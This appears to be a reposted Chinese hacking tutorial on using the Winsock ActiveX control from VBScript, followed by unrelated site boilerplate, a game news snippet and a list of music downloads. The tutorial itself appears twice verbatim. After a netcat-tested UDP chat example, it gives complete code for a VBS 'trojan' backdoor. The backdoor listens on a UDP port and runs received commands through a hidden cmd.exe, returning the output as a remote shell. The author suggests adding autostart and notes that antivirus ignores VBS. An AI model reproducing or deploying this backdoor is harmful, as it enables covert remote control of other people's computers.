大概在一年前,VBS脚本病毒又揭起一阵热潮,一大群VBS病毒在互联网上盛行。那时的VBS病毒几乎都是用FSO、MAPI作为一个病毒传染引擎,所以我就想,VBS可否访问网络呢?如果它也能进行端口的连接,那就神奇了。从此之后,我就努力去找有关VBS的网络类的资料,可惜找了好久,什么收获也没有,直到一个月前高考结束了,我才可以静下来搞这个东西,并终于有了一点进展。
现在分析一下VBS的运作原理吧。VBS的全称是“Visual Basic Scripts”,由于VBS是由Visual Basic分离出来的一种面向对象的脚本语言,所以它的语法与Visual Basic差不多,而且也是靠Object来实现它的其它高级功能。只不过是VBS是用Wscript.exe或Cscript.exe来解释的,因此它不需要编译,直接运行就行了,所以这也是VBS脚本做黑客工具方面的特长之一:普通杀毒软件不会对VBS感兴趣。因为VBS是一种面向对象的脚本语言,所以微软的很多ActiveX组件都可以通过“CreateObject(“ObjectName”)”来创建引用,这可能是微软公司的程序接口吧!也许用过VB编写网络程序的朋友也知道,用VB写网络程序大致有两种:一是调用Windows的API函数,二是用VB自带的Winsock控件,也就是在Windows系统目录中见到的“MSWinsock.ocx”。由于前者的API函数比较复杂,很多朋友比较喜欢用VB自带的Winsock控件,不知道大家有没有留意到那个Winsock控件,其实它就是我前面讲的ActiveX组件,它提供了访问TCP和UDP网络服务的方便途径,为编写客户或服务器应用程序,不必了解TCP的细节或调用低级的Winsock APIs。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去,并且还可双向交换数据。既然找到了访问网络的引擎,那如何来用呢?用法又是不和VB中那样用呢?
Winsock控件用法大体上是同VB上的一样,但在VBS中,ActiveX控件并不是像VB中那样是可以见到的,要在VBS上引用它当然是先创建它的对象。创建方法就像创建FSO等对像。新建一个文本文件,在里面写入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存为*.vbs运行它,就可以看到注册在你系统中的WinSock控件的有关信息。
怎能么样?开心吧,别急,我下面会详细讲讲。既然对象创建成功了,当然是要像VB中那样用它了。在VBS中创建的WinScok不能像VB中那样图形介面那样设置参数就行,是应该一步一个脚印来设置好你所创的是什么协议。在WinSock控件中要设置的协议是通过“Protocol”来设定的,如sock.Protocol=0 或 sock.Protocol=1。注意当“Protocol”的值为“0”时,所创建的协议是TCP;值为“1”时,则创建的是UDP。
我先介绍一下有关WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主机名
LocalIP //取得本地主机IP
SocketHandle //取得创建SOCK的句柄
RemotePort //设置或取得远程端口
LocalPort //设置或取得本地端口
State //返回创建sock的对像状态(代吗如下){
0 缺省的。关闭
1 打开
2 侦听
3 连接挂起
4 识别主机
5 已识别主机
6 正在连接
7 已连接
8 同级人员正在关闭连接
9 错误 }
BytesReceived //返回接收到的(当前在接收端缓冲区内的)数据的数量
Connect(RemoteHost,RemotePort) //建立远程连接,RemoteHost远程主机IP,RemotePort远程主机端口
Listen //使SOCK侦听
SendData/GetData //发送或接收数据
Close //关闭对像
Bind(LocalPort, LocalIP)//绑定本地端口。
那些基本的东西我讲完了,下面我测试一下远程主机会话吧(UDP),下面是一个VBS文件,大家可以试试,代码如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//创建Winsock对像
set sock=createobject("MSWinsock.Winsock")
//使用UDP协议
//建立连接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定义要发送的数据
sendata="Hello!!!"&chr(13)
//发送我们要发的数据
sock.senddata sendata
do
//如果有数据回应就显示它
if sock.BytesReceived>0 then
//定义接收数据类型(数据类型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定义好要接收的数据类型才能收到数据,不然会收到的是一堆乱码;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","请输入你要发的信息")
sock.senddata senddata & chr(13)
//当收到含有"exit"字串时结束VBS进程
if instr(revdata,"exit") then exit do
else
end if
loop
//关闭对像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”监听本地UDP端口1234,再运行刚编写的VBS文件,看!我的NC有反应了。
里面的“MicroSoft (r) Windows Based Script Host”就是我们的VBS主进程了。在NC里我们还可以发信息、聊天,怎么样?一个简单的UDP C/S已经完成了。下面我再写一个关于它的利用吧,既然它能访问网络,当然是用它的做个VBS木马啦!老编们不会反对吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")
sock.Protocol=1 //这个当然是UDP协议的标识啦
sock.bind 1234 //绑定本地的UDP端口
Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用绑定cmd的输出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把输出的文件读入内存,用SendData发送到客户端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版权喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "连接已关闭!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代码的基本架构已经完成了,要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于VBS程序没有设置出错保护,可能一些错误的操作会出现程蹦溃,有兴趣的朋友可以自己试试。用法是先把这个VBS后门运行在服务端,之后就用你的NC连,因为用的是UDP协议,NC的命令行是“NC –u IP Port”,记得要加上那个“-u”参数啊,之后就像WinShell一样用就行了,下面是在我的机器里测试的截图。
至于TCP如何编写,道理也跟UDP差不多,我这里就不再多写了,大家可以自己研究下。
如果有什么好的方法还可以和我一同研究。谢谢观赏。
现在分析一下VBS的运作原理吧。VBS的全称是“Visual Basic Scripts”,由于VBS是由Visual Basic分离出来的一种面向对象的脚本语言,所以它的语法与Visual Basic差不多,而且也是靠Object来实现它的其它高级功能。只不过是VBS是用Wscript.exe或Cscript.exe来解释的,因此它不需要编译,直接运行就行了,所以这也是VBS脚本做黑客工具方面的特长之一:普通杀毒软件不会对VBS感兴趣。因为VBS是一种面向对象的脚本语言,所以微软的很多ActiveX组件都可以通过“CreateObject(“ObjectName”)”来创建引用,这可能是微软公司的程序接口吧!也许用过VB编写网络程序的朋友也知道,用VB写网络程序大致有两种:一是调用Windows的API函数,二是用VB自带的Winsock控件,也就是在Windows系统目录中见到的“MSWinsock.ocx”。由于前者的API函数比较复杂,很多朋友比较喜欢用VB自带的Winsock控件,不知道大家有没有留意到那个Winsock控件,其实它就是我前面讲的ActiveX组件,它提供了访问TCP和UDP网络服务的方便途径,为编写客户或服务器应用程序,不必了解TCP的细节或调用低级的Winsock APIs。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去,并且还可双向交换数据。既然找到了访问网络的引擎,那如何来用呢?用法又是不和VB中那样用呢?
Winsock控件用法大体上是同VB上的一样,但在VBS中,ActiveX控件并不是像VB中那样是可以见到的,要在VBS上引用它当然是先创建它的对象。创建方法就像创建FSO等对像。新建一个文本文件,在里面写入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存为*.vbs运行它,就可以看到注册在你系统中的WinSock控件的有关信息。
怎能么样?开心吧,别急,我下面会详细讲讲。既然对象创建成功了,当然是要像VB中那样用它了。在VBS中创建的WinScok不能像VB中那样图形介面那样设置参数就行,是应该一步一个脚印来设置好你所创的是什么协议。在WinSock控件中要设置的协议是通过“Protocol”来设定的,如sock.Protocol=0 或 sock.Protocol=1。注意当“Protocol”的值为“0”时,所创建的协议是TCP;值为“1”时,则创建的是UDP。
我先介绍一下有关WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主机名
LocalIP //取得本地主机IP
SocketHandle //取得创建SOCK的句柄
RemotePort //设置或取得远程端口
LocalPort //设置或取得本地端口
State //返回创建sock的对像状态(代吗如下){
0 缺省的。关闭
1 打开
2 侦听
3 连接挂起
4 识别主机
5 已识别主机
6 正在连接
7 已连接
8 同级人员正在关闭连接
9 错误 }
BytesReceived //返回接收到的(当前在接收端缓冲区内的)数据的数量
Connect(RemoteHost,RemotePort) //建立远程连接,RemoteHost远程主机IP,RemotePort远程主机端口
Listen //使SOCK侦听
SendData/GetData //发送或接收数据
Close //关闭对像
Bind(LocalPort, LocalIP)//绑定本地端口。
那些基本的东西我讲完了,下面我测试一下远程主机会话吧(UDP),下面是一个VBS文件,大家可以试试,代码如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//创建Winsock对像
set sock=createobject("MSWinsock.Winsock")
//使用UDP协议
//建立连接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定义要发送的数据
sendata="Hello!!!"&chr(13)
//发送我们要发的数据
sock.senddata sendata
do
//如果有数据回应就显示它
if sock.BytesReceived>0 then
//定义接收数据类型(数据类型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定义好要接收的数据类型才能收到数据,不然会收到的是一堆乱码;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","请输入你要发的信息")
sock.senddata senddata & chr(13)
//当收到含有"exit"字串时结束VBS进程
if instr(revdata,"exit") then exit do
else
end if
loop
//关闭对像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”监听本地UDP端口1234,再运行刚编写的VBS文件,看!我的NC有反应了。
里面的“MicroSoft (r) Windows Based Script Host”就是我们的VBS主进程了。在NC里我们还可以发信息、聊天,怎么样?一个简单的UDP C/S已经完成了。下面我再写一个关于它的利用吧,既然它能访问网络,当然是用它的做个VBS木马啦!老编们不会反对吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")
sock.Protocol=1 //这个当然是UDP协议的标识啦
sock.bind 1234 //绑定本地的UDP端口
Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用绑定cmd的输出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把输出的文件读入内存,用SendData发送到客户端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版权喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "连接已关闭!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代码的基本架构已经完成了,要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于VBS程序没有设置出错保护,可能一些错误的操作会出现程蹦溃,有兴趣的朋友可以自己试试。用法是先把这个VBS后门运行在服务端,之后就用你的NC连,因为用的是UDP协议,NC的命令行是“NC –u IP Port”,记得要加上那个“-u”参数啊,之后就像WinShell一样用就行了,下面是在我的机器里测试的截图。
至于TCP如何编写,道理也跟UDP差不多,我这里就不再多写了,大家可以自己研究下。
如果有什么好的方法还可以和我一同研究。谢谢观赏。
华山资源网 Design By www.eoogi.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
华山资源网 Design By www.eoogi.com
暂无评论...
稳了!魔兽国服回归的3条重磅消息!官宣时间再确认!
昨天有一位朋友在大神群里分享,自己亚服账号被封号之后居然弹出了国服的封号信息对话框。
这里面让他访问的是一个国服的战网网址,com.cn和后面的zh都非常明白地表明这就是国服战网。
而他在复制这个网址并且进行登录之后,确实是网易的网址,也就是我们熟悉的停服之后国服发布的暴雪游戏产品运营到期开放退款的说明。这是一件比较奇怪的事情,因为以前都没有出现这样的情况,现在突然提示跳转到国服战网的网址,是不是说明了简体中文客户端已经开始进行更新了呢?
更新日志
2024年11月19日
2024年11月19日
- 谭咏麟2024《暴风女神Lorelei》头版限量编号MQA-UHQCD[WAV+CUE]
- 群星.2003-滚石黄金十年系列33CD【滚石】【WAV+CUE】
- 萧亚轩.2008-3面夏娃【维京】【WAV+CUE】
- 唐娜.1989-那年情人节好冷【喜玛拉雅】【WAV+CUE】
- 赵传《赵传奇》 滚石SACD系列 SACD限量版[ISO][1.1G]
- 黄龄《痒》天韵文化[WAV+CUE][1G]
- 张学友《走过1999》2023头版蜚声环球限量编号[低速原抓WAV+CUE][1G]
- 田震《真的田震精品集》头版限量编号24K金碟[低速原抓WAV+CUE][1G]
- 林俊杰《伟大的渺小》华纳[WAV+CUE][1G]
- 谭艳《遗憾DSD》2023 [WAV+CUE][1G]
- Beyond2024《真的见证》头版限量编号MQA-UHQCD[WAV+CUE]
- 瑞鸣唱片2024-《荒城之月》SACD传统民谣[ISO]
- 好薇2024《兵哥哥》1:124K黄金母盘[WAV+CUE]
- 胡歌.2006-珍惜(EP)【步升大风】【FLAC分轨】
- 洪荣宏.2014-拼乎自己看【华特】【WAV+CUE】